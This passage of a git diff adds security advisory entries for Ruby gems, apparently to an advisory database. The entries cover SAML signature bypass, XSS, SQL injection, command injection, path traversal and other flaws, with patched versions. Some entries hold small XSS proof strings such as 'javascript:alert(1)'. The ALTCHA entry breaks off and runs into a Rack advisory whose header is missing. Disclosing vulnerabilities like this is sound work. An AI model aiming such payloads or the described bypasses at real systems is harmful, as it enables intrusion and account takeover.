allows an attacker to be able to execute a Signature Wrapping + attack. The vulnerability does not affect the version 1.18.0. + + ### Impact + + That allows an attacker to be able to execute a Signature Wrapping + attack and bypass the authentication + cvss_v3: 9.1 + cvss_v4: 9.3 + patched_versions: + - ">= 1.18.0" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2025-66567 + - https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-9v8j-x534-2fx3 + - https://github.com/SAML-Toolkits/ruby-saml/commit/e9c1cdbd0f9afa467b585de279db0cbd0fb8ae97 + - https://github.com/advisories/GHSA-754f-8gm6-c4r2 + - https://github.com/advisories/GHSA-9v8j-x534-2fx3 +--- diff --git a/advisories/_posts/2025-12-08-CVE-2025-66568.md b/advisories/_posts/2025-12-08-CVE-2025-66568.md new file mode 100644 index 00000000..ad28f03d --- /dev/null +++ b/advisories/_posts/2025-12-08-CVE-2025-66568.md @@ -0,0 +1,52 @@ +--- +layout: advisory +title: 'CVE-2025-66568 (ruby-saml): Ruby-saml allows a Libxml2 Canonicalization error + to bypass Digest/Signature validation' +comments: false +categories: +- ruby-saml +advisory: + gem: ruby-saml + cve: 2025-66568 + ghsa: x4h9-gwv3-r4m4 + url: https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-x4h9-gwv3-r4m4 + title: Ruby-saml allows a Libxml2 Canonicalization error to bypass Digest/Signature + validation + date: 2025-12-08 + description: |- + ### Summary + + Ruby-saml up to and including 1.12.4, there is an authentication + bypass vulnerability because of an issue at libxml2 canonicalization + process used by Nokogiri for document transformation. That allows + an attacker to be able to execute a Signature Wrapping attack. + The vulnerability does not affect the version 1.18.0. + + ### Details + + When libxml2’s canonicalization is invoked on an invalid XML input, + it may return an empty string rather than a canonicalized node. + ruby-saml then proceeds to compute the DigestValue over this empty + string, treating it as if canonicalization succeeded. + + ### Impact + + 1. Digest bypass: By crafting input that causes canonicalization to + yield an empty string, the attacker can manipulate validation to + pass incorrectly. + + 2. Signature replay on empty canonical form: If an empty string has + been signed once (e.g., in a prior interaction or via a + misconfigured flow), that signature can potentially be replayed + to bypass authentication. + cvss_v3: 9.1 + cvss_v4: 9.3 + patched_versions: + - ">= 1.18.0" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2025-66568 + - https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-x4h9-gwv3-r4m4 + - https://github.com/SAML-Toolkits/ruby-saml/commit/acac9e9cc0b9a507882c614f25d41f8b47be349a + - https://github.com/advisories/GHSA-x4h9-gwv3-r4m4 +--- diff --git a/advisories/_posts/2025-12-16-CVE-2025-68113.md b/advisories/_posts/2025-12-16-CVE-2025-68113.md new file mode 100644 index 00000000..8c3d8424 --- /dev/null +++ b/advisories/_posts/2025-12-16-CVE-2025-68113.md @@ -0,0 +1,66 @@ +--- +layout: advisory +title: 'CVE-2025-68113 (altcha): ALTCHA Proof-of-Work Vulnerable to Challenge Splicing + and Replay' +comments: false +categories: +- altcha +advisory: + gem: altcha + cve: 2025-68113 + ghsa: 6gvq-jcmp-8959 + url: https://github.com/altcha-org/altcha-lib/security/advisories/GHSA-6gvq-jcmp-8959 + title: ALTCHA Proof-of-Work Vulnerable to Challenge Splicing and Replay + date: 2025-12-16 + description: |- + ### Impact + + A cryptographic semantic binding flaw in ALTCHA libraries allows + challenge payload splicing, which may enable replay attacks. The + HMAC signature does not unambiguously bind challenge parameters to + the nonce, allowing an attacker to reinterpret a valid proof-of-work + submission with a modified expiration value. + + This may allow previously solved challenges to be reused beyond + their intended lifetime, depending on server-side replay handling + and deployment assumptions. + + The vulnerability primarily impacts abuse-prevention mechanisms such + as rate limiting and bot mitigation. + + It does not directly affect data confidentiality or integrity. + + ### Patches + + This issue has been addressed by enforcing explicit semantic + separation between challenge parameters and the nonce during + HMAC computation. + + Users are advised to upgrade to patched versions. + + ### Workarounds + + As a mitigation, implementations may append a delimiter to the + end of the `salt` value prior to HMAC computation (for example, + `?expires=%s + ``` + + The `%s` placeholder is populated directly with the file’s basename. If the basename begins with `javascript:`, the resulting HTML contains an executable JavaScript URL: + + ```html + javascript:alert(1) + ``` + + Because the value is inserted directly into the `href` attribute without scheme validation or normalization, browsers interpret it as a JavaScript URI. When a user clicks the link, the JavaScript executes in the origin of the Rack application. + + ## Impact + + If `Rack::Directory` is used to expose filesystem contents over HTTP, an attacker who can create or upload files within that directory may introduce a malicious filename beginning with `javascript:`. + + When a user visits the directory listing and clicks the entry, arbitrary JavaScript executes in the application's origin. Exploitation requires user interaction (clicking the malicious entry). + + ## Mitigation + + * Update to a patched version of Rack in which `Rack::Directory` prefixes generated anchors with a relative path indicator (e.g. `./filename`). + * Avoid exposing user-controlled directories via `Rack::Directory`. + * Apply a strict Content Security Policy (CSP) to reduce impact of potential client-side execution issues. + * Where feasible, restrict or sanitize uploaded filenames to disallow dangerous URI scheme prefixes. + cvss_v3: 5.4 + patched_versions: + - "~> 2.2.22" + - "~> 3.1.20" + - ">= 3.2.5" + related: + url: + - https://github.com/rack/rack/security/advisories/GHSA-whrj-4476-wvmp + - https://github.com/rack/rack/commit/f2f225f297b99fbee3d9f51255d41f601fc40aff + - https://github.com/advisories/GHSA-whrj-4476-wvmp +--- diff --git a/advisories/_posts/2026-02-18-GHSA-wx95-c6cv-8532.md b/advisories/_posts/2026-02-18-GHSA-wx95-c6cv-8532.md new file mode 100644 index 00000000..c64e1ff8 --- /dev/null +++ b/advisories/_posts/2026-02-18-GHSA-wx95-c6cv-8532.md @@ -0,0 +1,54 @@ +--- +layout: advisory +title: 'GHSA-wx95-c6cv-8532 (nokogiri): Nokogiri does not check the return value from + xmlC14NExecute' +comments: false +categories: +- nokogiri +advisory: + gem: nokogiri + ghsa: wx95-c6cv-8532 + url: https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-wx95-c6cv-8532 + title: Nokogiri does not check the return value from xmlC14NExecute + date: 2026-02-18 + description: |- + ## Summary + + Nokogiri's CRuby extension fails to check the return value from + `xmlC14NExecute` in the method `Nokogiri::XML::Document#canonicalize` + and `Nokogiri::XML::Node#canonicalize`. When canonicalization fails, + an empty string is returned instead of raising an exception. This + incorrect return value may allow downstream libraries to accept + invalid or incomplete canonicalized XML, which has been demonstrated + to enable signature validation bypass in SAML libraries. + + JRuby is not affected, as the Java implementation correctly + raises `RuntimeError` on canonicalization failure. + + ## Mitigation + + Upgrade to Nokogiri `>= 1.19.1`. + + ## Severity + + The maintainers have assessed this as **Medium** severity. Nokogiri + itself is a parsing library without a clear security boundary + related to canonicalization, so the direct impact is that a method + returns incorrect data on invalid input. However, this behavior + was exploited in practice to bypass SAML signature validation + in downstream libraries (see References). + + ## Credit + + This vulnerability was responsibly reported by HackerOne + researcher `d4d`. + cvss_v3: 5.3 + unaffected_versions: + - "< 1.5.1" + patched_versions: + - ">= 1.19.1" + related: + url: + - https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-wx95-c6cv-8532 + - https://github.com/advisories/GHSA-wx95-c6cv-8532 +--- diff --git a/advisories/_posts/2026-02-27-CVE-2026-0980.md b/advisories/_posts/2026-02-27-CVE-2026-0980.md new file mode 100644 index 00000000..2d50b6dc --- /dev/null +++ b/advisories/_posts/2026-02-27-CVE-2026-0980.md @@ -0,0 +1,31 @@ +--- +layout: advisory +title: 'CVE-2026-0980 (rubyipmi): rubyipmi is vulnerable to OS Command Injection through + malicious usernames' +comments: false +categories: +- rubyipmi +advisory: + gem: rubyipmi + cve: 2026-0980 + ghsa: hfcp-477w-3wjw + url: https://access.redhat.com/security/cve/CVE-2026-0980 + title: rubyipmi is vulnerable to OS Command Injection through malicious usernames + date: 2026-02-27 + description: |- + A flaw was found in rubyipmi, a gem used in the Baseboard Management + Controller (BMC) component of Red Hat Satellite. An authenticated + attacker with host creation or update permissions could exploit this + vulnerability by crafting a malicious username for the BMC interface. + This could lead to remote code execution (RCE) on the system. + cvss_v3: 8.3 + patched_versions: + - ">= 0.13.0" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-0980 + - https://access.redhat.com/security/cve/CVE-2026-0980 + - https://bugzilla.redhat.com/show_bug.cgi?id=2429874 + - https://github.com/logicminds/rubyipmi/commit/252503a7b4dca68388165883b0322024e344a215 + - https://github.com/advisories/GHSA-hfcp-477w-3wjw +--- diff --git a/advisories/_posts/2026-02-27-CVE-2026-2302.md b/advisories/_posts/2026-02-27-CVE-2026-2302.md new file mode 100644 index 00000000..f5d1553f --- /dev/null +++ b/advisories/_posts/2026-02-27-CVE-2026-2302.md @@ -0,0 +1,47 @@ +--- +layout: advisory +title: 'CVE-2026-2302 (mongoid): Mongoid::Criteria.from_hash method allows arbitrary + method calls' +comments: false +categories: +- mongoid +advisory: + gem: mongoid + cve: 2026-2302 + ghsa: 68xj-h57p-gg5j + url: https://nvd.nist.gov/vuln/detail/CVE-2026-2302 + title: Mongoid::Criteria.from_hash method allows arbitrary method calls + date: 2026-02-27 + description: |- + Under specific conditions when processing a maliciously crafted + value of type Hash r, Mongoid::Criteria.from_hash may allow for + executing arbitrary Ruby code. + cvss_v3: 6.5 + cvss_v4: 6.9 + patched_versions: + - "~> 7.6.1" + - "~> 8.0.12" + - "~> 8.1.12" + - ">= 9.0.10" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-2302 + - https://github.com/mongodb/mongoid/releases/tag/v9.0.10 + - https://github.com/mongodb/mongoid/pull/6099 + - https://rubygems.org/gems/mongoid/versions/8.1.12 - https://github.com/mongodb/mongoid/releases/tag/v8.1.12 + - https://github.com/mongodb/mongoid/pull/6100 + - https://rubygems.org/gems/mongoid/versions/8.0.12 - https://github.com/mongodb/mongoid/releases/tag/v8.0.12 + - https://github.com/mongodb/mongoid/pull/6101 + - https://rubygems.org/gems/mongoid/versions/7.6.1 - https://github.com/mongodb/mongoid/releases/tag/v7.6.1 + - https://github.com/mongodb/mongoid/pull/6102 + - https://github.com/mongodb/mongoid/pull/6087 + - https://github.com/mongodb/mongoid/pull/6086 + - https://github.com/mongodb/mongoid/pull/6085 + - https://github.com/mongodb/mongoid/pull/6084 + - https://github.com/mongodb/mongoid/pull/6083 + - https://jira.mongodb.org/browse/MONGOID-5919 + - https://github.com/advisories/GHSA-68xj-h57p-gg5j + notes: | + - GHSA is unreviewed. + - date from nvd.nist.gov URL. +--- diff --git a/advisories/_posts/2026-03-05-CVE-2026-27820.md b/advisories/_posts/2026-03-05-CVE-2026-27820.md new file mode 100644 index 00000000..8c363b95 --- /dev/null +++ b/advisories/_posts/2026-03-05-CVE-2026-27820.md @@ -0,0 +1,60 @@ +--- +layout: advisory +title: 'CVE-2026-27820 (zlib): Buffer overflow vulnerability in Zlib::GzipReader' +comments: false +categories: +- zlib +advisory: + gem: zlib + cve: 2026-27820 + ghsa: g857-hhfv-j68w + url: https://nvd.nist.gov/vuln/detail/CVE-2026-27820 + title: Buffer overflow vulnerability in Zlib::GzipReader + date: 2026-03-05 + description: |- + A buffer overflow vulnerability exists in Zlib::GzipReader. + This vulnerability has been assigned the CVE identifier + CVE-2026-27820. We recommend upgrading the zlib gem. + + ## Details + + The zstream_buffer_ungets function prepends caller-provided bytes + ahead of previously produced output but fails to guarantee the + backing Ruby string has enough capacity before the memmove shifts + the existing data. This can lead to memory corruption when the + buffer length exceeds capacity. + + ## Recommended action + + We recommend to update the zlib gem to version 3.2.3 or later. + In order to ensure compatibility with bundled version in older + Ruby series, you may update as follows instead: + + * For Ruby 3.2 users: Update to zlib 3.0.1 + * For Ruby 3.3 users: Update to zlib 3.1.2 + * You can use gem update zlib to update it. If you are using + bundler, please add gem "zlib", ">= 3.2.3" to your Gemfile. + + ## Affected versions: + + zlib gem 3.2.2 or lower + + ## Credits + + Thanks to calysteon for reporting this issue. Also thanks to + nobu for creating the patch. + cvss_v3: 9.8 + cvss_v4: 5.9 + patched_versions: + - "~> 3.0.1" + - "~> 3.1.2" + - ">= 3.2.3" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-27820 + - https://www.ruby-lang.org/en/news/2026/03/05/buffer-overflow-zlib-cve-2026-27820 + - https://rubygems.org/gems/zlib/versions/3.2.3 + - https://rubygems.org/gems/zlib/versions/3.1.2 + - https://rubygems.org/gems/zlib/versions/3.0.1 + - https://github.com/ruby/zlib/security/advisories/GHSA-g857-hhfv-j68w +--- diff --git a/advisories/_posts/2026-03-10-CVE-2026-1776.md b/advisories/_posts/2026-03-10-CVE-2026-1776.md new file mode 100644 index 00000000..507eb872 --- /dev/null +++ b/advisories/_posts/2026-03-10-CVE-2026-1776.md @@ -0,0 +1,42 @@ +--- +layout: advisory +title: 'CVE-2026-1776 (camaleon_cms): Camaleon CMS vulnerable to Path Traversal through + AWS S3 uploader implementation' +comments: false +categories: +- camaleon_cms +advisory: + gem: camaleon_cms + cve: 2026-1776 + ghsa: jw5g-f64p-6x78 + url: https://nvd.nist.gov/vuln/detail/CVE-2026-1776 + title: Camaleon CMS vulnerable to Path Traversal through AWS S3 uploader implementation + date: 2026-03-10 + description: |- + Camaleon CMS versions 2.4.5.0 through 2.9.1, prior to commit f54a77e, + contain a path traversal vulnerability in the AWS S3 uploader + implementation that allows authenticated users to read arbitrary + files from the web server’s filesystem. The issue occurs in the + download_private_file functionality when the application is + configured to use the CamaleonCmsAwsUploader backend. Unlike the + local uploader implementation, the AWS uploader does not validate + file paths with valid_folder_path?, allowing directory traversal + sequences to be supplied via the file parameter. As a result, any + authenticated user, including low-privileged registered users, can + access sensitive files such as /etc/passwd. This issue represents a + bypass of the incomplete fix for CVE-2024-46987 and affects + deployments using the AWS S3 storage backend. + cvss_v3: 6.5 + cvss_v4: 6.0 + unaffected_versions: + - "< 2.4.5.0" + notes: Never patched; last release was 2.9.1 + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-1776 + - https://github.com/owen2345/camaleon-cms/pull/1127 + - https://github.com/owen2345/camaleon-cms/commit/f54a77e2a7be601215ea1b396038c589a0cab9af + - https://camaleon.website + - https://www.vulncheck.com/advisories/camaleon-cms-aws-uploader-authenticated-path-traversal-arbitrary-file-read + - https://github.com/advisories/GHSA-jw5g-f64p-6x78 +--- diff --git a/advisories/_posts/2026-03-11-CVE-2026-31830.md b/advisories/_posts/2026-03-11-CVE-2026-31830.md new file mode 100644 index 00000000..4328a8f3 --- /dev/null +++ b/advisories/_posts/2026-03-11-CVE-2026-31830.md @@ -0,0 +1,64 @@ +--- +layout: advisory +title: 'CVE-2026-31830 (sigstore): sigstore-ruby verifier returns success for DSSE + bundles with mismatched in-toto subject digest' +comments: false +categories: +- sigstore +advisory: + gem: sigstore + cve: 2026-31830 + ghsa: mhg6-2q2v-9h2c + url: https://github.com/sigstore/sigstore-ruby/security/advisories/GHSA-mhg6-2q2v-9h2c + title: sigstore-ruby verifier returns success for DSSE bundles with mismatched in-toto + subject digest + date: 2026-03-11 + description: |- + ### Summary + + `Sigstore::Verifier#verify` does not propagate the `VerificationFailure` + returned by `verify_in_toto` when the artifact digest does not match + the digest in the in-toto attestation subject. As a result, verification + of DSSE bundles containing in-toto statements returns `VerificationSuccess` + regardless of whether the artifact matches the attested subject. + + ### Details + + In `lib/sigstore/verifier.rb`, the verify method calls `verify_in_toto` + (line 176) without capturing or checking its return value: + + `verify_in_toto(input, in_toto)` + + When `verify_in_toto` detects a digest mismatch, it returns a + `VerificationFailure` object. Because the caller discards this + return value, execution unconditionally falls through to return + `VerificationSuccess`. This is the only verification sub-check in + the method (out of 12) whose failure is not propagated. + + The message_signature code path is not affected. + + ### Impact + + An attacker who possesses a valid signed DSSE bundle containing an + in-toto attestation for artifact A can present it as a valid attestation + for a different artifact B. All other verification checks (DSSE envelope + signature, certificate chain, Rekor inclusion, SCTs, policy) pass because + they are independent of the artifact content. Only the in-toto subject + digest check detects the mismatch, and its result is discarded. + + This allows an attacker to bypass artifact-to-attestation binding for + any consumer that relies on `Sigstore::Verifier#verify` to validate + DSSE/in-toto bundles. + + ### Workarounds + + None. Consumers cannot work around this without patching the library. + cvss_v3: 7.5 + patched_versions: + - ">= 0.2.3" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-31830 + - https://github.com/sigstore/sigstore-ruby/security/advisories/GHSA-mhg6-2q2v-9h2c + - https://github.com/advisories/GHSA-mhg6-2q2v-9h2c +--- diff --git a/advisories/_posts/2026-03-12-GHSA-qmpg-8xg6-ph5q.md b/advisories/_posts/2026-03-12-GHSA-qmpg-8xg6-ph5q.md new file mode 100644 index 00000000..67a744d5 --- /dev/null +++ b/advisories/_posts/2026-03-12-GHSA-qmpg-8xg6-ph5q.md @@ -0,0 +1,47 @@ +--- +layout: advisory +title: 'GHSA-qmpg-8xg6-ph5q (action_text-trix): Trix has a Stored XSS vulnerability + through serialized attributes' +comments: false +categories: +- action_text-trix +advisory: + gem: action_text-trix + ghsa: qmpg-8xg6-ph5q + url: https://github.com/basecamp/trix/security/advisories/GHSA-qmpg-8xg6-ph5q + title: Trix has a Stored XSS vulnerability through serialized attributes + date: 2026-03-12 + description: |- + ### Impact + + The Trix editor, in versions prior to 2.1.17, is vulnerable to XSS + attacks when a `data-trix-serialized-attributes` attribute bypasses + the DOMPurify sanitizer. + + An attacker could craft HTML containing a `data-trix-serialized-attributes` + attribute with a malicious payload that, when the content is rendered, + could execute arbitrary JavaScript code within the context of the user's + session, potentially leading to unauthorized actions being performed + or sensitive information being disclosed. + + ### Patches + + Update Recommendation: Users should upgrade to Trix editor + version 2.1.17 or later. + + ### References + + The XSS vulnerability was responsibly reported by Hackerone + researcher [newbiefromcoma](https://hackerone.com/newbiefromcoma). + cvss_v3: 4.6 + patched_versions: + - ">= 2.1.17" + related: + url: + - https://github.com/basecamp/trix/security/advisories/GHSA-qmpg-8xg6-ph5q + - https://github.com/basecamp/trix/releases/tag/v2.1.17 + - https://github.com/basecamp/trix/pull/1282 + - https://github.com/basecamp/trix/commit/53197ab5a142e6b0b76127cb790726b274eaf1bc + - https://hackerone.com/reports/3581911 + - https://github.com/advisories/GHSA-qmpg-8xg6-ph5q +--- diff --git a/advisories/_posts/2026-03-16-CVE-2026-32700.md b/advisories/_posts/2026-03-16-CVE-2026-32700.md new file mode 100644 index 00000000..ad11063e --- /dev/null +++ b/advisories/_posts/2026-03-16-CVE-2026-32700.md @@ -0,0 +1,71 @@ +--- +layout: advisory +title: 'CVE-2026-32700 (devise): Confirmable "change email" race condition permits + user to confirm email they have no access to' +comments: false +categories: +- devise +advisory: + gem: devise + cve: 2026-32700 + ghsa: 57hq-95w6-v4fc + url: https://github.com/heartcombo/devise/security/advisories/GHSA-57hq-95w6-v4fc + title: Confirmable "change email" race condition permits user to confirm email they + have no access to + date: 2026-03-16 + description: |- + ## Impact + + A race condition in Devise's Confirmable module allows an attacker + to confirm an email address they do not own. This affects any Devise + application using the reconfirmable option (the default when using + Confirmable with email changes). + + By sending two concurrent email change requests, an attacker can + desynchronize the confirmation_token and unconfirmed_email fields. + The confirmation token is sent to an email the attacker controls, + but the unconfirmed_email in the database points to a victim's + email address. When the attacker uses the token, the victim's email + is confirmed on the attacker's account. + + ## Patch + + This is patched in Devise v5.0.3. Users should upgrade as soon as possible. + + ## Workaround + + Applications can override this specific method from Devise models + to force unconfirmed_email to be persisted when unchanged: + (assuming your model is User) + + ``` + class User < ApplicationRecord + protected + + def postpone_email_change_until_confirmation_and_regenerate_confirmation_token + unconfirmed_email_will_change! + super + end + end + ``` + + Note: Mongoid does not seem to respect that will_change! should + force the attribute to be persisted, even if it did not really + change, so you might have to implement a workaround similar to + Devise by setting changed_attributes["unconfirmed_email"] = nil as well. + cvss_v3: 5.3 + cvss_v4: 6.0 + patched_versions: + - ">= 5.0.3" + related: + url: + - https://about.gitlab.com/releases/2023/01/09/security-release-gitlab-15-7-2-released + - https://github.com/heartcombo/devise/pull/5784 + - https://github.com/heartcombo/devise/issues/5783 + - https://portswigger.net/research/smashing-the-state-machine + - https://groups.google.com/g/heartcombo/c/ieiLJhG4EGE/m/PNlIQv54AAAJ + - https://groups.google.com/g/heartcombo/c/o9mtkcfvt_g/m/SABX6rp8AgAJ + - https://groups.google.com/g/heartcombo/c/XDII89RV6Ak/m/AJMOyayNAgAJ + - https://groups.google.com/g/heartcombo/c/TWge7vKELhc/m/gRTrgKz4CQAJ + - https://github.com/heartcombo/devise/security/advisories/GHSA-57hq-95w6-v4fc +--- diff --git a/advisories/_posts/2026-03-16-GHSA-57hq-95w6-v4fc.md b/advisories/_posts/2026-03-16-GHSA-57hq-95w6-v4fc.md new file mode 100644 index 00000000..29e31a9c --- /dev/null +++ b/advisories/_posts/2026-03-16-GHSA-57hq-95w6-v4fc.md @@ -0,0 +1,68 @@ +--- +layout: advisory +title: 'GHSA-57hq-95w6-v4fc (devise): Confirmable "change email" race condition permits + user to confirm email they have no access to' +comments: false +categories: +- devise +advisory: + gem: devise + ghsa: 57hq-95w6-v4fc + url: https://github.com/heartcombo/devise/security/advisories/GHSA-57hq-95w6-v4fc + title: Confirmable "change email" race condition permits user to confirm email they + have no access to + date: 2026-03-16 + description: | + ## Impact + + A race condition in Devise's Confirmable module allows an attacker + to confirm an email address they do not own. This affects any Devise + application using the reconfirmable option (the default when using + Confirmable with email changes). + + By sending two concurrent email change requests, an attacker can + desynchronize the confirmation_token and unconfirmed_email fields. + The confirmation token is sent to an email the attacker controls, + but the unconfirmed_email in the database points to a victim's + email address. When the attacker uses the token, the victim's email + is confirmed on the attacker's account. + + ## Patch + + This is patched in Devise v5.0.3. Users should upgrade as soon as possible. + + ## Workaround + + Applications can override this specific method from Devise models + to force unconfirmed_email to be persisted when unchanged: + (assuming your model is User) + + ``` + class User < ApplicationRecord + protected + + def postpone_email_change_until_confirmation_and_regenerate_confirmation_token + unconfirmed_email_will_change! + super + end + end + ``` + + Note: Mongoid does not seem to respect that will_change! should + force the attribute to be persisted, even if it did not really + change, so you might have to implement a workaround similar to + Devise by setting changed_attributes["unconfirmed_email"] = nil as well. + patched_versions: + - ">= 5.0.3" + related: + url: + - https://about.gitlab.com/releases/2023/01/09/security-release-gitlab-15-7-2-released + - https://github.com/heartcombo/devise/pull/5784 + - https://github.com/heartcombo/devise/issues/5783 + - https://portswigger.net/research/smashing-the-state-machine + - https://groups.google.com/g/heartcombo/c/ieiLJhG4EGE/m/PNlIQv54AAAJ + - https://groups.google.com/g/heartcombo/c/o9mtkcfvt_g/m/SABX6rp8AgAJ + - https://groups.google.com/g/heartcombo/c/XDII89RV6Ak/m/AJMOyayNAgAJ + - https://groups.google.com/g/heartcombo/c/TWge7vKELhc/m/gRTrgKz4CQAJ + - https://github.com/heartcombo/devise/security/advisories/GHSA-57hq-95w6-v4fc +--- diff --git a/advisories/_posts/2026-03-17-CVE-2026-4324.md b/advisories/_posts/2026-03-17-CVE-2026-4324.md new file mode 100644 index 00000000..692b33cb --- /dev/null +++ b/advisories/_posts/2026-03-17-CVE-2026-4324.md @@ -0,0 +1,35 @@ +--- +layout: advisory +title: 'CVE-2026-4324 (katello): Katello - Denial of Service and potential information + disclosure via SQL injection''' +comments: false +categories: +- katello +advisory: + gem: katello + cve: 2026-4324 + ghsa: fwj4-6wgp-mpxm + url: https://access.redhat.com/security/cve/CVE-2026-4324 + title: Katello - Denial of Service and potential information disclosure via SQL + injection' + date: 2026-03-17 + description: |- + A flaw was found in the Katello plugin for Red Hat Satellite. This + vulnerability, caused by improper sanitization of user-provided + input, allows a remote attacker to inject arbitrary SQL commands + into the sort_by parameter of the /api/hosts/bootc_images API + endpoint. This can lead to a Denial of Service (DoS) by triggering + database errors, and potentially enable Boolean-based Blind SQL + injection, which could allow an attacker to extract sensitive + information from the database. + cvss_v3: 5.4 + patched_versions: + - ">= 4.19.1" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-4324 + - https://access.redhat.com/security/cve/CVE-2026-4324 + - https://bugzilla.redhat.com/show_bug.cgi?id=2448349 + - https://github.com/Katello/katello/commit/a0a793b08d4f0a897ee985d79a687ad043f99e57 + - https://github.com/advisories/GHSA-fwj4-6wgp-mpxm +--- diff --git a/advisories/_posts/2026-03-18-CVE-2026-33209.md b/advisories/_posts/2026-03-18-CVE-2026-33209.md new file mode 100644 index 00000000..a2d69ae4 --- /dev/null +++ b/advisories/_posts/2026-03-18-CVE-2026-33209.md @@ -0,0 +1,40 @@ +--- +layout: advisory +title: 'CVE-2026-33209 (avo): Avo has a XSS vulnerability on `return_to` param' +comments: false +categories: +- avo +advisory: + gem: avo + cve: 2026-33209 + ghsa: 762r-27w2-q22j + url: https://github.com/avo-hq/avo/security/advisories/GHSA-762r-27w2-q22j + title: Avo has a XSS vulnerability on `return_to` param + date: 2026-03-18 + description: |- + ## Description + + A reflected cross-site scripting (XSS) vulnerability exists in + the `return_to` query parameter used in the avo interface. + + An attacker can craft a malicious URL that injects arbitrary + JavaScript, which is executed when he clicks a dynamically + generated navigation button. + + ## Impact + + This vulnerability may allow execution of arbitrary JavaScript + in the context of the application. + + Impact varies depending on deployment: + - In unauthenticated setups: exploitable via crafted links sent to users. + - In authenticated setups: limited to authenticated users and + requires interaction. + cvss_v4: 5.3 + patched_versions: + - ">= 3.30.3" + related: + url: + - https://github.com/avo-hq/avo/security/advisories/GHSA-762r-27w2-q22j + - https://github.com/advisories/GHSA-762r-27w2-q22j +--- diff --git a/advisories/_posts/2026-03-18-GHSA-46fp-8f5p-pf2m.md b/advisories/_posts/2026-03-18-GHSA-46fp-8f5p-pf2m.md new file mode 100644 index 00000000..42ab1c64 --- /dev/null +++ b/advisories/_posts/2026-03-18-GHSA-46fp-8f5p-pf2m.md @@ -0,0 +1,63 @@ +--- +layout: advisory +title: 'GHSA-46fp-8f5p-pf2m (loofah): Improper detection of disallowed URIs by Loofah + `allowed_uri?`' +comments: false +categories: +- loofah +advisory: + gem: loofah + ghsa: 46fp-8f5p-pf2m + url: https://github.com/flavorjones/loofah/security/advisories/GHSA-46fp-8f5p-pf2m + title: Improper detection of disallowed URIs by Loofah `allowed_uri?` + date: 2026-03-18 + description: |- + ## Summary + + `Loofah::HTML5::Scrub.allowed_uri?` does not correctly reject + `javascript:` URIs when the scheme is split by HTML entity-encoded + control characters such as ` ` (carriage return), ` ` + (line feed), or ` ` (tab). + + ## Details + + The `allowed_uri?` method strips literal control characters before + decoding HTML entities. Payloads like `java script:alert(1)` + survive the control character strip, then ` ` is decoded to + a carriage return, producing `java\rscript:alert(1)`. + + Note that the Loofah sanitizer's default `sanitize()` path is + **not affected** because Nokogiri decodes HTML entities during + parsing before Loofah evaluates the URI protocol. This issue only + affects direct callers of the `allowed_uri?` string-level helper + when passing HTML-encoded strings. + + ## Impact + + Applications that call `Loofah::HTML5::Scrub.allowed_uri?` to + validate user-controlled URLs and then render approved URLs into + `href` or other browser-interpreted URI attributes may be + vulnerable to cross-site scripting (XSS). + + This only affects Loofah `2.25.0`. + + ## Mitigation + + Upgrade to Loofah >= `2.25.1`. + + ## Credit + + Responsibly reported by HackOne user `@smlee`. + cvss_v4: 2.7 + unaffected_versions: + - "< 2.25.0" + patched_versions: + - ">= 2.25.1" + related: + url: + - https://github.com/flavorjones/loofah/security/advisories/GHSA-46fp-8f5p-pf2m + - https://github.com/flavorjones/loofah/releases/tag/v2.25.1 + - https://github.com/flavorjones/loofah/commit/f4ebc9c5193dde759a57541062e490e86fc7c068 + - https://github.com/advisories/GHSA-2j22-pr5w-6gq8 + - https://github.com/advisories/GHSA-46fp-8f5p-pf2m +--- diff --git a/advisories/_posts/2026-03-19-CVE-2026-33210.md b/advisories/_posts/2026-03-19-CVE-2026-33210.md new file mode 100644 index 00000000..74a1b17b --- /dev/null +++ b/advisories/_posts/2026-03-19-CVE-2026-33210.md @@ -0,0 +1,43 @@ +--- +layout: advisory +title: 'CVE-2026-33210 (json): Ruby JSON has a format string injection vulnerability' +comments: false +categories: +- json +advisory: + gem: json + cve: 2026-33210 + ghsa: 3m6g-2423-7cp3 + url: https://github.com/ruby/json/security/advisories/GHSA-3m6g-2423-7cp3 + title: Ruby JSON has a format string injection vulnerability + date: 2026-03-19 + description: |- + ### Impact + + A format string injection vulnerability than that lead to denial of + service attacks or information disclosure, when the `allow_duplicate_key: + false` parsing option is used to parse user supplied documents. + + This option isn't the default, if you didn't opt-in to use it, + you are not impacted. + + ### Patches + + Patched in `2.19.2`. + + ### Workarounds + + The issue can be avoided by not using the `allow_duplicate_key: false` + parsing option. + cvss_v4: 8.3 + unaffected_versions: + - "< 2.14.0" + patched_versions: + - "~> 2.15.2.1" + - "~> 2.17.1.2" + - ">= 2.19.2" + related: + url: + - https://github.com/ruby/json/security/advisories/GHSA-3m6g-2423-7cp3 + - https://github.com/advisories/GHSA-3m6g-2423-7cp3 +--- diff --git a/advisories/_posts/2026-03-19-CVE-2026-33306.md b/advisories/_posts/2026-03-19-CVE-2026-33306.md new file mode 100644 index 00000000..e14870b9 --- /dev/null +++ b/advisories/_posts/2026-03-19-CVE-2026-33306.md @@ -0,0 +1,52 @@ +--- +layout: advisory +title: 'CVE-2026-33306 (bcrypt): bcrypt-ruby has an Integer Overflow that Causes Zero + Key-Strengthening Iterations at Cost=31 on JRuby' +comments: false +categories: +- bcrypt +advisory: + gem: bcrypt + cve: 2026-33306 + ghsa: f27w-vcwj-c954 + url: https://github.com/advisories/GHSA-f27w-vcwj-c954 + title: bcrypt-ruby has an Integer Overflow that Causes Zero Key-Strengthening Iterations + at Cost=31 on JRuby + date: 2026-03-19 + description: |- + ### Impact + + An integer overflow in the Java BCrypt implementation for JRuby can + cause zero iterations in the strengthening loop. Impacted + applications must be setting the cost to 31 to see this happen. + + The JRuby implementation of bcrypt-ruby (`BCrypt.java`) computes + the key-strengthening round count as a signed 32-bit integer. + When `cost=31` (the maximum allowed by the gem), signed integer + overflow causes the 